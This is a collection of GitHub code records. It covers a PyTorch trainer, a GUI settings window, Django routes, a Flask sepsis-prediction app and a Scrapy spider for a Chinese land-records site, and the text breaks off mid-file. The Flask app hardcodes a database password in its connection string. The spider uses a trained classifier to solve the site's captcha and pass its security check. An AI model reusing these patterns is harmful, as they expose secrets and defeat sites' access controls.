self.model(*features)\n loss = self.criterion(output, target)\n\n return output, target, loss\n\n def state_dict(self):\n \"\"\"Override this to return a representation of the operator state.\n\n Returns:\n dict: The state dict of the operator.\"\"\"\n pass\n\n def load_state_dict(self, state_dict):\n \"\"\"Override this to load the representation of the operator state.\n\n Args:\n state_dict (dict): State dict as returned by the operator. \"\"\"\n pass\n\n @property\n def config(self):\n \"\"\"dict: Provided into TorchTrainer.\"\"\"\n return self._config\n\n @property\n def model(self):\n \"\"\"First or only model created by the provided ``model_creator``.\"\"\"\n return self._models[0]\n\n @property\n def models(self):\n \"\"\"List of models created by the provided ``model_creator``.\"\"\"\n return self._models\n\n @property\n def optimizer(self):\n \"\"\"First or only optimizer(s) created by the ``optimizer_creator``.\"\"\"\n return self._optimizers[0]\n\n @property\n def optimizers(self):\n \"\"\"List of optimizers created by the ``optimizer_creator``.\"\"\"\n return self._optimizers\n\n @property\n def world_rank(self):\n \"\"\"int: The rank of the parent runner. Always 0 if not distributed.\"\"\"\n return self._world_rank\n\n @property\n def criterion(self):\n \"\"\"Criterion created by the provided ``loss_creator``.\"\"\"\n return self._criterion\n\n @property\n def scheduler(self):\n \"\"\"First or only scheduler(s) created by the ``scheduler_creator``.\"\"\"\n if self._schedulers:\n return self._schedulers[0]\n\n @property\n def schedulers(self):\n \"\"\"List of schedulers created by the ``scheduler_creator``.\"\"\"\n return self._schedulers\n\n @property\n def use_fp16(self):\n \"\"\"bool: Whether the model and optimizer have been FP16 enabled.\"\"\"\n return self._use_fp16\n\n @property\n def use_tqdm(self):\n \"\"\"bool: Whether tqdm progress bars are enabled.\"\"\"\n return self._use_tqdm\n","repo_name":"intel-analytics/analytics-zoo","sub_path":"pyzoo/zoo/orca/learn/pytorch/training_operator.py","file_name":"training_operator.py","file_ext":"py","file_size_in_byte":16328,"program_lang":"python","lang":"en","doc_type":"code","stars":2592,"dataset":"github-code","pt":"67"} +{"seq_id":"14316792250","text":"def count_a(seq):\n \"\"\"Counting the number of As in the sequence\"\"\"\n\n # Counter for the As\n result = 0\n for b in seq:\n if b == 'A':\n result += 1\n\n # Return the result\n return result\n\n# Main program\n\ns = \"AGTACACTGGT\"\nna = count_a(s)\nprint(\"The number of As is: {}\".format(na))\n\n# Calculate the total length\nt1 = len(s)\n\nprint(\"This sequence is {} bases in length\".format(t1))\nprint(\"The percentage of As is {}%\".format(round(100.0 * na/t1, 1)))","repo_name":"pcrecis/2018-19-PNE-practices","sub_path":"session-5/ex-1.py","file_name":"ex-1.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6682026249","text":"import os\nimport math\nfrom decimal import Decimal\nfrom scipy.misc import imresize\nimport utility\n\nimport torch\nimport torch.nn.utils as utils\nfrom tqdm import tqdm\nimport numpy as np \nimport scipy.io\nimport torch.nn.functional as F \nfrom model import common\nimport model as M \nimport cv2 \n#import imageio\nimport matplotlib.cm as cm\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\n#mpl.use('tkagg')\n\n\nclass Trainer():\n def __init__(self, args, loader, my_model, my_loss, ckp):\n self.args = args\n self.scale = args.scale\n\n self.ckp = ckp\n self.loader_train = loader.loader_train\n self.loader_test = loader.loader_test\n self.model = my_model\n self.loss = my_loss\n self.optimizer = utility.make_optimizer(args, self.model)\n\n if self.args.load != '':\n self.optimizer.load(ckp.dir, epoch=len(ckp.log))\n\n self.error_last = 1e8\n\n self.is_upsample = False \n up_model_list = ('mwcnn', 'vdsr', 'docnn', 'mwcnn_caa', 'mwcnn_cab', \\\n 'mwcnn_caab', 'docnn_cab')\n for model in up_model_list:\n if self.args.model == model :\n self.is_upsample = True \n break \n\n self.is_pad = False \n up_model_list = ('mwcnn', 'docnn', 'mwcnn_caa', 'mwcnn_cab', \\\n 'mwcnn_caab', 'docnn_cab')\n for model in up_model_list:\n if self.args.model == model :\n self.is_pad = True \n break \n #args.save2 = args.save\n args2 = args\n args2.resume = -2 \n args2.mid_channels = 4\n args2.model = args.model_init\n\n if not args2.resume == -2: \n #args2.model = args.model_init\n args2.resume = -2 \n args2.mid_channels = 4\n #args2.batch_size = 32 \n args2.sigma = 10 \n #args.loss = '1*L1'\n args2.save = args2.model + '_mid' + str(args2.mid_channels) + '_sb' + str(args2.batch_size) +'_sig' + str(args2.sigma)\n if args2.is_act :\n args2.save = args2.save + '_PreLU'\n else: \n args2.save = args2.save + '_Linear'\n\n note = ''\n for loss in args2.loss.split('+'):\n weight, loss_type = loss.split('*')\n note = note + '_' + str(weight) + loss_type\n\n args2.save = args2.save + note \n args2.pre_train = '../experiment/' + args2.save + '/model/model_best.pt' \n else: \n args2.pre_train = '../experiment/' + args2.save + '/model_init/model_best.pt' \n\n checkpoint = utility.checkpoint(args2)\n self.model_init = M.Model(args2, checkpoint) \n self.optimizer_init = utility.make_optimizer(args2, self.model_init)\n self.init_psnr = 0 \n\n def train(self):\n self.loss.step() \n epoch = self.optimizer.get_last_epoch() + 1\n if self.args.resume > 0:\n epoch = self.args.resume + 1\n\n lr = self.optimizer.get_lr()\n\n self.ckp.write_log(\n '[Epoch {}]\\tLearning rate: {:.2e}'.format(epoch, Decimal(lr))\n )\n self.loss.start_log()\n self.model.train()\n\n timer_data, timer_model = utility.timer(), utility.timer()\n \n for batch, (lr, hr, _, idx_scale) in enumerate(self.loader_train):\n\n #if batch > 10:\n # continue\n\n _, hr = self.prepare(lr, hr)\n #hr = hr/self.args.rgb_range\n \n timer_data.hold()\n timer_model.tic()\n\n self.optimizer.zero_grad()\n\n # Initial Reconstruction \n img = utility.quantize(hr , self.args.rgb_range) \n if self.args.is_fcSim:\n img = common.flatcamSamp(img / self.args.rgb_range)\n img = common.apply_noise(img, self.args.sigma)\n img = common.Raw2Bayer(img)\n img = common.make_separable(img)\n\n sr0 = self.model_init(img, idx_scale)\n\n # Enhance reconstruction \n sr = self.model(sr0, idx_scale)\n\n loss = self.loss(sr, hr)\n\n if self.args.model == 'kcsres_mwcnn2' :\n loss = loss + self.loss(sr_init, hr)\n\n loss.backward()\n if self.args.gclip > 0:\n utils.clip_grad_value_(\n self.model.parameters(),\n self.args.gclip\n )\n self.optimizer.step()\n\n timer_model.hold()\n\n if (batch + 1) % self.args.print_every == 0:\n self.ckp.write_log('[{}/{}]\\t{}\\t{:.1f}+{:.1f}s'.format(\n (batch + 1) * self.args.batch_size,\n len(self.loader_train.dataset),\n self.loss.display_loss(batch),\n timer_model.release(),\n timer_data.release()))\n\n timer_data.tic()\n\n self.loss.end_log(len(self.loader_train))\n self.error_last = self.loss.log[-1, -1]\n self.optimizer.schedule()\n\n def test(self):\n torch.set_grad_enabled(False)\n\n epoch = self.optimizer.get_last_epoch()\n self.ckp.write_log('\\nEvaluation:')\n self.ckp.add_log(\n torch.zeros(1, len(self.loader_test), len(self.scale))\n )\n self.model.eval()\n\n timer_test = utility.timer()\n\n save_folder = 'Results_DL/' + self.args.save + '/' + self.args.data_test[0] + '/'\n if not os.path.exists(save_folder):\n os.makedirs(save_folder) \n \n\n # if self.args.save_results: self.ckp.begin_background()\n for idx_data, d in enumerate(self.loader_test):\n for idx_scale, scale in enumerate(self.scale):\n d.dataset.set_scale(idx_scale)\n count = 0\n self.init_psnr = 0 \n\n for lr, hr, filename, _ in tqdm(d, ncols=80):\n _, hr = self.prepare(lr, hr) \n\n # Prepare data for test_only \n #if not self.args.is_fcSim: \n #if not self.args.test_only:\n _, _, h, w = hr.size() \n idx = min(h, w)\n hr = hr[:, :, 0:idx, 0:idx] # squazsied\n\n #if not idx == 256:\n # hr = F.interpolate(hr, [256, 256])\n\n img = utility.quantize(hr , self.args.rgb_range) \n if self.args.is_fcSim:\n img = common.flatcamSamp(img / self.args.rgb_range)\n img = common.apply_noise(img, self.args.sigma)\n img = common.Raw2Bayer(img)\n img = common.make_separable(img)\n #img = sim_fc_bayerNorm\n #else: # THis is real data \n # img = img \n\n\n sr0 = self.model_init(img, idx_scale)\n\n sr = self.model(sr0, idx_scale) \n count = count + 1\n sr = utility.quantize(sr , self.args.rgb_range)\n\n save_list = [sr]\n self.ckp.log[-1, idx_data, idx_scale] += utility.calc_psnr(\n sr, hr, scale, self.args.rgb_range, dataset=d\n )\n\n sr0 = utility.quantize(sr0 , self.args.rgb_range)\n self.init_psnr += utility.calc_psnr(\n sr0 , hr, scale, self.args.rgb_range, dataset=d\n )\n\n #if self.args.test_only: \n # plt.imsave(save_folder + filename[0] + '.png',\n # torch.squeeze(sr).permute(1, 2, 0).detach().cpu().numpy() /self.args.rgb_range )\n\n if self.args.test_only:\n sr0 = torch.squeeze(sr0).permute(1, 2, 0).detach().cpu().numpy()\n sr = torch.squeeze(sr).permute(1, 2, 0).detach().cpu().numpy() \n hr = torch.squeeze(hr).permute(1, 2, 0).detach().cpu().numpy() \n\n # Save Results\n plt.imsave(save_folder + filename[0] + '.png', sr /self.args.rgb_range) \n plt.imsave(save_folder + '__init_'+ filename[0] + '.png', sr0 /self.args.rgb_range) \n plt.imsave(save_folder + '__Org_'+ filename[0] + '.png', hr /self.args.rgb_range) \n\n if self.args.save_gt:\n save_list.extend([lr, hr])\n #print(cur_psnr, init_psnr)\n\n if self.args.save_results:\n self.ckp.save_results(d, filename[0], save_list, scale)\n\n self.init_psnr = self.init_psnr/ count \n\n self.ckp.log[-1, idx_data, idx_scale] /= len(d)\n best = self.ckp.log.max(0)\n self.ckp.write_log(\n '[{} x{}]\\tPSNR: {:.3f}, \\t init {:.3f} (Best: {:.3f} @epoch {})'.format(\n d.dataset.name,\n scale,\n self.ckp.log[-1, idx_data, idx_scale],\n self.init_psnr,\n best[0][idx_data, idx_scale],\n best[1][idx_data, idx_scale] + 1\n )\n )\n\n self.ckp.write_log('Forward: {:.2f}s\\n'.format(timer_test.toc()))\n self.ckp.write_log('Saving...')\n\n # if self.args.save_results: self.ckp.end_background()\n\n if not self.args.test_only:\n self.ckp.save(self, epoch, is_best=(best[1][0, 0] + 1 == epoch))\n\n self.ckp.write_log(\n 'Total: {:.2f}s\\n'.format(timer_test.toc()), refresh=True\n )\n\n torch.set_grad_enabled(True)\n\n def prepare(self, *args):\n device = torch.device('cpu' if self.args.cpu else 'cuda')\n def _prepare(tensor):\n if self.args.precision == 'half': tensor = tensor.half()\n return tensor.to(device)\n\n return [_prepare(a) for a in args]\n\n def terminate(self):\n if self.args.test_only:\n self.test()\n return True\n else:\n epoch = self.optimizer.get_last_epoch() + 1\n return epoch >= self.args.epochs\n\n\n","repo_name":"ngcthuong/DeepFlatCam","sub_path":"src2/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":10327,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"67"} +{"seq_id":"43768975622","text":"import pyximport;pyximport.install()\r\nimport PySimpleGUI as sg\r\nimport webbrowser\r\nfrom tkinter import *\r\n\r\n\r\nimage = \"Settings.png\"\r\npng_ico = \"Icon.png\"\r\nicon = \"Icon.ico\"\r\nback_button = \"Back.png\"\r\n\r\n \r\n\r\n\r\ndef settings():\r\n As = open(\"Auto Save\", \"r\") \r\n Auto = As.read()\r\n if Auto == \"save_file(file)\":\r\n Naman = True\r\n else:\r\n Naman = False\r\n\r\n layout = [ \r\n [sg.Image(image)],\r\n [sg.Image(png_ico,enable_events=True,key='Icon_click')],\r\n [sg.Button(\"Font\",size=(8,1)),sg.Button(\"Theme\",size=(8,1)),sg.Checkbox(\"Auto save\",size=(8,1),default=Naman,enable_events=True,auto_size_text=True,key='Auto_Save')],\r\n [sg.Exit(\"Exit\",button_color=('white', 'firebrick'),size=(30,1),tooltip=\"Double tap\")]]\r\n global window \r\n window = sg.Window('SETTINGS', layout=layout,no_titlebar=False,grab_anywhere=True,finalize=True,auto_size_buttons=True,icon=icon)\r\n \r\n while True:\r\n \r\n event, values = window.read()\r\n if event in ('Exit', None,sg.WIN_CLOSED):\r\n break\r\n if event == \"Icon_click\":\r\n pass\r\n if event == 'Font':\r\n font()\r\n if event == 'Theme' :\r\n Theme()\r\n if event == 'Auto_Save':\r\n if Naman == True:\r\n with open(\"Auto Save\", \"w+\") as As:\r\n As.write(Auto.replace(Auto,\" \"))\r\n window[\"Auto_Save\"].update(text=\"AutoSave \\n OFF\")\r\n if Naman == False:\r\n with open(\"Auto Save\", \"w+\") as As:\r\n As.write(Auto.replace(Auto,\"save_file(file)\"))\r\n window[\"Auto_Save\"].update(text=\"AutoSave \\n ON\")\r\n\r\n \r\ndef font():\r\n window.hide()\r\n global font_size_file\r\n font_size_file = \"Text Size.txt\" \r\n File = open(font_size_file,\"r\")\r\n current_font_size = str(File.read())\r\n Font_Size_List = list(range(1,400))\r\n Font_Style_File = \"Font Style.txt\"\r\n current_Font = open(Font_Style_File,\"r\")\r\n current_Font_Style = current_Font.read()\r\n from tkinter import font\r\n fonts=font.families()\r\n font_layout = [[sg.Text(\"Font size\",font=(\"Helvetica\",13)),sg.Text(\" Font style\",font=(\"Helvetica\",13))],\r\n [sg.Input(size=(8,1),key=\"new_fs\"),sg.Listbox(fonts,size=(20,15),default_values=current_Font_Style,enable_events=True,key=\"FontStyle\")],\r\n [sg.Text(\"\")],\r\n [sg.Text(\"Font \",font=(\"Helvetica\",13))],\r\n [sg.Button(\"Apply\", button_color=('white', '#007339'),size=(27,1))]]\r\n font_window = sg.Window('SETTINGS', layout=font_layout,no_titlebar=True,grab_anywhere=False,finalize=True)\r\n while True:\r\n event,values = font_window.read()\r\n if event in ('Apply', None):\r\n new_font_style = str(values[\"FontStyle\"][0])\r\n new_font_size = values[\"new_fs\"]\r\n with open(font_size_file ,'w+')as edit, open(Font_Style_File,\"w+\")as EditForFS:\r\n edit.write(current_font_size.replace(current_font_size, new_font_size ))\r\n EditForFS.write(current_Font_Style.replace(current_Font_Style, new_font_style))\r\n EditForFS.close()\r\n edit.close()\r\n current_Font.close()\r\n File.close()\r\n font_window.close()\r\n return settings()\r\n\r\ndef Theme():\r\n window.hide()\r\n global font_size_file\r\n theme_file = \"Theme\"\r\n with open(theme_file,'r') as File:\r\n global current_theme\r\n current_theme = File.read()\r\n theme_layout = [\r\n [sg.Image(back_button,tooltip=\"Back\",enable_events=True,key=\"-Back-\"),sg.Text(\"Themes setting\",font=(\"Helvetica\",18))],\r\n [sg.Text(\"Choose a theme\",font=(\"Helvetica\",12))],\r\n [sg.Listbox(values=sg.theme_list(), size=(40, 12),default_values=current_theme, key='-LIST-', enable_events=True)],\r\n [sg.Button(\"View\",size=(13,1))],\r\n [sg.Button(\"Apply\", button_color=('white', '#007339'),size=(27,1))]]\r\n theme_window = sg.Window('SETTINGS', layout=theme_layout,no_titlebar=True,grab_anywhere=False,finalize=True,auto_size_buttons=True)\r\n while True:\r\n event,values = theme_window.read()\r\n global new_theme\r\n new_theme = sg.theme(values['-LIST-'][0])\r\n\r\n if event in ('Apply'):\r\n new_font_size= values.get(values['-LIST-'][0])\r\n with open(theme_file ,'w+')as edit:\r\n edit.write(current_theme.replace(current_theme, new_theme ))\r\n theme_window.close()\r\n return settings()\r\n \r\n if event == \"View\":\r\n sg.theme(new_theme)\r\n theme_window.close()\r\n return settings()\r\n if event == \"-Back-\":\r\n theme_window.close()\r\n return settings()\r\n\r\nif __name__ == \"__main__\":\r\n settings()\r\n\r\n","repo_name":"Naman-Raj-Singh/Pypad-public-","sub_path":"PyPad/Setting.pyw","file_name":"Setting.pyw","file_ext":"pyw","file_size_in_byte":5073,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"33856669799","text":"from django.conf.urls.defaults import *\nfrom trocaire.settings import *\nfrom django.views.generic.simple import direct_to_template\n\n# Uncomment the next two lines to enable the admin:\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n (r'^$', 'trocaire.views.index'),\n (r'^generales/$', 'trocaire.encuesta.views.generales'),\n (r'^monitoreo/', include('trocaire.encuesta.urls')),\n (r'^monitoreopf/', include('trocaire.monitoreopf.urls')),\n (r'^logout/$', 'django.contrib.auth.views.logout', {'template_name': 'logout.html'}),\n (r'^admin/', include(admin.site.urls)),\n\t#urls lista para devolver los depas, munis via ajax\n (r'^ajax/depa/$', 'trocaire.views.get_depas'),\n (r'^ajax/muni/$', 'trocaire.views.get_munis'),\n (r'^ajax/data/$', 'trocaire.views.__get_data'),\n (r'^ajax/depas-groups/$', 'trocaire.views.get_group_depas'),\n (r'^ajax/orgs/$', 'trocaire.views.get_orgs'),\n)\n\nif DEBUG:\n urlpatterns += patterns('',\n (r'^files/(?P.*)$', 'django.views.static.serve', {'document_root': PROJECT_DIR + '/files'}),\n )\n","repo_name":"eos87/trocaire","sub_path":"urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"72119837334","text":"from flask import Flask, request, jsonify\n\nimport os\nimport pymongo\nimport dns\nfrom flask_pymongo import PyMongo\nfrom ml_models.ocr import *\nfrom Sepsis_predictor.prediction_script import *\n\napp = Flask(__name__)\n\napp.config['REPORT_UPLOADS'] = \"./report_uploads\"\n\n\napp.config['MONGO_URI'] = 'mongodb+srv://skepticUser:skeptic@cluster0-l4moq.mongodb.net/test?retryWrites=true&w=majority'\nmongo = PyMongo(app)\n\n# @app.route('/frame', methods=['GET'])\n# def get_all_frameworks():\n# u_collection = mongo.db.sample1\n# print(\"hiiiiiiiiiiiiii\")\n# u_collection.insert_one({'name': 'Anjali'})\n# # u_collection.insert_one({'name': 'Anjali'})\n# # u_collection.insert_one({'name': 'Anth'})\n# # u_collection.insert_one({'name': 'Antho'})\n# output = ['hi there']\n# return jsonify(output)\n\n# @app.route('/dbtry', methods=['GET'])\n# def tryyy():\n# u_collect = mongo.db.tryyyy\n# print(\"hiiiiiiiiiiyyyi\")\n# u_collect.insert_one({'name': 'Anjaliii', 'subjects': \"COE\"})\n# # u_collect.insert_one({'name': 'Anjali'})\n# # u_collect.insert_one({'name': 'Anth'})\n# # u_collect.insert_one({'name': 'Antho'})\n# output = ['hi there']\n# return jsonify(output)\n\n@app.route('/create_new_patient_entry', methods=['POST'])\ndef add_patient():\n if request.method == 'POST':\n patient_json = request.get_json()\n name = patient_json['patient_name']\n # id = name+\"_Record\"\n # print(id)\n # patient_json[''] = mongo.db.name\n # mongo.db.createCollection(name)\n mongo.db[name].insert_one(patient_json)\n return \"patient \" + name + \" added\"\n\n@app.route('/upload_lab_report', methods=['POST'])\ndef upload_lab_report():\n if request.method == 'POST':\n if request.files:\n file = request.files['file']\n if file.filename == '':\n return \"empty\"\n if file:\n filename= file.filename\n file.save(os.path.join(app.config['REPORT_UPLOADS'],filename))\n # mongo.db.anjali.insert_one(retrieveInfoFromImage(filename))\n data_test = retrieveInfoFromImage(os.path.join(app.config['REPORT_UPLOADS'],filename))\n\n apap = find_sepsis_prob(retrieveInfoFromImage(os.path.join(app.config['REPORT_UPLOADS'], filename)))\n print(apap)\n data_test['risk'] = apap\n return data_test\n # print(test(retrieveInfoFromImage(filename)))\n # print(find_sepsis_prob(retrieveInfoFromImage(filename)))\n # return retrieveInfoFromImage(os.path.join(app.config['REPORT_UPLOADS'],filename))\n # print(filename)\n # result = lab_report_value_matrix(\"./report_uploads\"+filename)\n # return str(result)\n return \"waiting\"\n\n@app.route('/')\ndef index():\n print(\"hiiii\")\n return \"

HIIII

\"\n\nif __name__ == '__main__':\n app.run(debug=True, host='0.0.0.0', port=5000)","repo_name":"AnjaliGarg13/sepsis","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2882430846","text":"# Tuples are immutable, which means that you cannot change the values or delete\n# them.\n# Name, age, hobby, grade, letter grade, weight, height, last vacation\nmix = (\"Lahari\", 11, \"Reading\", 6, \"A\", 90.5, 5.2)\nlv = (\"Hawaii\", )\nmix = mix + lv\nprint (mix)\nxyz = (\"apple\", \"carrot\", \"rice\", \"Boba tea\", \"pasta\")\n(fruit, vegetable, grain, drink, favorite_food) = xyz\nprint (grain)\n","repo_name":"laharily/python","sub_path":"Testing Tuples.py","file_name":"Testing Tuples.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"20163797909","text":"import numpy as np\nimport torch\nimport torch.nn.functional as F\n\n\ndef look(vertices, eye, direction=[0, 1, 0], up=[0, 1, 0]):\n \"\"\"\n \"Look\" transformation of vertices.\n \"\"\"\n if (vertices.ndimension() != 3):\n raise ValueError('vertices Tensor should have 3 dimensions')\n\n device = vertices.device\n\n if isinstance(direction, list) or isinstance(direction, tuple):\n direction = torch.tensor(direction, dtype=torch.float32, device=device)\n elif isinstance(direction, np.ndarray):\n direction = torch.from_numpy(direction).to(device)\n elif torch.is_tensor(direction):\n direction.to(device)\n\n if isinstance(eye, list) or isinstance(eye, tuple):\n eye = torch.tensor(eye, dtype=torch.float32, device=device)\n elif isinstance(eye, np.ndarray):\n eye = torch.from_numpy(eye).to(device)\n elif torch.is_tensor(eye):\n eye = eye.to(device)\n\n if isinstance(up, list) or isinstance(up, tuple):\n up = torch.tensor(up, dtype=torch.float32, device=device)\n elif isinstance(up, np.ndarray):\n up = torch.from_numpy(up).to(device)\n elif torch.is_tensor(up):\n up.to(device)\n\n if eye.ndimension() == 1:\n eye = eye[None, :]\n if direction.ndimension() == 1:\n direction = direction[None, :]\n if up.ndimension() == 1:\n up = up[None, :]\n\n # create new axes\n z_axis = F.normalize(direction, eps=1e-5)\n x_axis = F.normalize(torch.cross(up, z_axis), eps=1e-5)\n y_axis = F.normalize(torch.cross(z_axis, x_axis), eps=1e-5)\n\n # create rotation matrix: [bs, 3, 3]\n r = torch.cat((x_axis[:, None, :], y_axis[:, None, :], z_axis[:, None, :]), dim=1)\n\n # apply\n # [bs, nv, 3] -> [bs, nv, 3] -> [bs, nv, 3]\n if vertices.shape != eye.shape:\n eye = eye[:, None, :]\n vertices = vertices - eye\n vertices = torch.matmul(vertices, r.transpose(1,2))\n\n return vertices\n","repo_name":"svip-lab/impersonator","sub_path":"thirdparty/neural_renderer/neural_renderer/look.py","file_name":"look.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","stars":1714,"dataset":"github-code","pt":"67"} +{"seq_id":"770393483","text":"import base64\nimport logging\nimport os\nimport pickle\nimport uuid\n\nimport cv2\nimport requests\nimport scrapy\nimport xlrd\nimport xlwt\nfrom bs4 import BeautifulSoup\nfrom scrapy import Request\nfrom sklearn.svm import SVC\nfrom xlutils.copy import copy\n\nfrom landchina_scrapy.items import LandchinaScrapyItem\nfrom landchina_scrapy.settings import VALUE_TITLE\n\n\nclass LandchinaSpider(scrapy.Spider):\n name = 'landchina'\n allowed_domains = ['www.landchina.com']\n start_urls = ['https://www.landchina.com/default.aspx?tabid=263']\n\n def str_to_hex(self, s):\n return ''.join([hex(ord(c)).replace('0x', '') for c in s])\n\n def __init__(self, start=None, end=None, regin=None, name=None, **kwargs):\n super().__init__(name, **kwargs)\n self.START_DATE = str(start)\n self.END_DATE = str(end)\n self.REGION = str(regin)\n self.book_name_xls = 'data/excel/{}~{}.xls'.format(self.START_DATE, self.END_DATE)\n self.sheet_name_xls = 'xls格式测试表'\n self.url = 'https://www.landchina.com/default.aspx?tabid=263'\n self.session = requests.session()\n\n def detection(self, src):\n with open('data/svm/model.dat', 'rb') as f:\n svc: SVC = pickle.loads(f.read())\n text = ''\n for i in range(5):\n x = src[:, i * 20:i * 20 + 20, :].reshape(1, 27 * 20 * 3)\n y_ = svc.predict(x)\n text += str(int(y_[0]))\n return text\n\n def get_img(self, src):\n data = src.split(',')[1]\n image_data = base64.b64decode(data)\n file_path = 'data/img/{}.bmp'.format(uuid.uuid1())\n with open(file_path, 'wb') as f:\n f.write(image_data)\n img = cv2.imread(file_path)\n text = self.detection(img)\n os.remove(file_path)\n self.log('验证码:{}'.format(text), level=logging.INFO)\n # cv2.namedWindow('src', cv2.WINDOW_NORMAL)\n # cv2.imshow('src', img)\n # cv2.waitKey(0)\n return text\n\n def write_excel_xls(self, path, sheet_name, value):\n index = len(value) # 获取需要写入数据的行数\n workbook = xlwt.Workbook() # 新建一个工作簿\n sheet = workbook.add_sheet(sheet_name) # 在工作簿中新建一个表格\n for i in range(0, index):\n for j in range(0, len(value[i])):\n sheet.write(i, j, value[i][j]) # 像表格中写入数据(对应的行和列)\n workbook.save(path) # 保存工作簿\n self.log(\"xls格式表格写入数据成功!\", level=logging.INFO)\n\n def write_excel_xls_append(self, path, data):\n value = [[data['合同签订日期'],\n data['供地方式'],\n data['项目位置'],\n data['行政区'],\n data['面积(公顷)'],\n data['土地用途'],\n data['行业分类'],\n data['电子监管号'],\n data['土地级别'],\n data['土地来源'],\n data['批准单位'],\n data['约定开工时间'],\n data['约定竣工时间'],\n data['实际开工时间'],\n data['实际竣工时间'],\n data['成交价格(万元)'],\n data['约定交地时间'],\n data['项目名称'],\n data['土地使用年限'],\n data['土地使用权人'], # 最后六个属性不一样\n data['分期数'],\n data['约定支付日期'],\n data['约定支付金额(万元)'],\n data['下限'],\n data['上限']\n ], ]\n index = len(value) # 获取需要写入数据的行数\n workbook = xlrd.open_workbook(path) # 打开工作簿\n sheets = workbook.sheet_names() # 获取工作簿中的所有表格\n worksheet = workbook.sheet_by_name(sheets[0]) # 获取工作簿中所有表格中的的第一个表格\n rows_old = worksheet.nrows # 获取表格中已存在的数据的行数\n new_workbook = copy(workbook) # 将xlrd对象拷贝转化为xlwt对象\n new_worksheet = new_workbook.get_sheet(0) # 获取转化后工作簿中的第一个表格\n for i in range(0, index):\n for j in range(0, len(value[i])):\n new_worksheet.write(i + rows_old, j, value[i][j]) # 追加写入数据,注意是从i+rows_old行开始写入\n new_workbook.save(path) # 保存工作簿\n self.log(\"第{}条数据【追加】写入数据成功!\".format(rows_old), level=logging.INFO)\n\n def parse_page_data(self, soup, start='', end='', page_num=1):\n try:\n __VIEWSTATE = soup.find('input', {'id': '__VIEWSTATE'}).attrs['value']\n __EVENTVALIDATION = soup.find('input', {'id': '__EVENTVALIDATION'}).attrs['value']\n TAB_QuerySubmitConditionData = soup.find('input', {'id': 'TAB_QueryConditionItem270'}).attrs['value']\n TAB_QuerySort1 = soup.find('input', {'id': 'TAB_QuerySort1'}).attrs['value']\n\n data = None\n if start != '':\n data = {\n '__VIEWSTATE': __VIEWSTATE,\n '__EVENTVALIDATION': __EVENTVALIDATION,\n 'hidComName': 'default',\n 'TAB_QueryConditionItem': TAB_QuerySubmitConditionData,\n 'TAB_QuerySortItemList': '282:False',\n 'TAB_QuerySubmitConditionData': '{}:{}~{}'.format(TAB_QuerySubmitConditionData, start, end),\n 'TAB_QuerySubmitOrderData': '282:False',\n 'TAB_RowButtonActionControl': '',\n 'TAB_QuerySubmitPagerData': str(page_num),\n 'TAB_QuerySubmitSortData': ''\n }\n else:\n data = {\n '__VIEWSTATE': __VIEWSTATE,\n '__EVENTVALIDATION': __EVENTVALIDATION,\n 'hidComName': 'default',\n 'TAB_QuerySortItemList': '282:False',\n 'TAB_QuerySubmitConditionData': '',\n 'TAB_QuerySubmitOrderData': '',\n 'TAB_RowButtonActionControl': '',\n 'TAB_QuerySubmitPagerData': str(1),\n 'TAB_QuerySubmitSortData': ''\n }\n except AttributeError:\n return {\n '__VIEWSTATE': '',\n '__EVENTVALIDATION': '',\n 'hidComName': 'default',\n 'TAB_QuerySortItemList': '282:False',\n 'TAB_QuerySubmitConditionData': '',\n 'TAB_QuerySubmitOrderData': '',\n 'TAB_RowButtonActionControl': '',\n 'TAB_QuerySubmitPagerData': str(1),\n 'TAB_QuerySubmitSortData': ''\n }\n\n return data\n\n def start_requests(self):\n self.data = dict()\n self.curr_page = 1\n self.cookie = dict()\n self.write_excel_xls(self.book_name_xls, self.sheet_name_xls, VALUE_TITLE)\n self.headers = {\n 'Host': 'www.landchina.com',\n 'Proxy-Connection': 'keep-alive',\n # 'Content-Length': '3122',\n 'Cache-Control': 'max-age=0',\n 'Origin': 'https://www.landchina.com',\n 'Upgrade-Insecure-Requests': '1',\n 'Content-Type': 'application/x-www-form-urlencoded',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',\n 'Referer': 'https://www.landchina.com/default.aspx?tabid=263',\n 'Accept-Encoding': 'gzip, deflate',\n 'Accept-Language': 'zh-CN,zh;q=0.9'\n }\n\n while True:\n self.log('正在尝试识别验证码登录....', level=logging.INFO)\n response = self.session.get(url=self.url)\n soup = BeautifulSoup(response.text, 'lxml')\n Img = soup.select('.verifyimg')[0]\n text = self.get_img(Img.attrs['src'])\n self.session.cookies['srcurl'] = self.str_to_hex(self.url)\n ver_url = '{}&security_verify_img={}'.format(self.url, self.str_to_hex(text))\n response = self.session.get(url=ver_url)\n\n if 'security_session_high_verify' in self.session.cookies.keys():\n break\n self.log('验证码识别错误....', level=logging.ERROR)\n self.log('验证码登录成功....', level=logging.INFO)\n\n response = self.session.get(url=self.url)\n soup = BeautifulSoup(response.text, 'lxml')\n\n self.data = self.parse_page_data(soup, self.START_DATE, self.END_DATE)\n response = self.session.post(url=self.url, data=self.data)\n soup = BeautifulSoup(response.text, 'lxml')\n page_num_str = soup.select(\n '#mainModuleContainer_485_1113_1539_tdExtendProContainer > table > tbody > tr:nth-child(1) > td > table > tbody > tr:nth-child(2) > td > 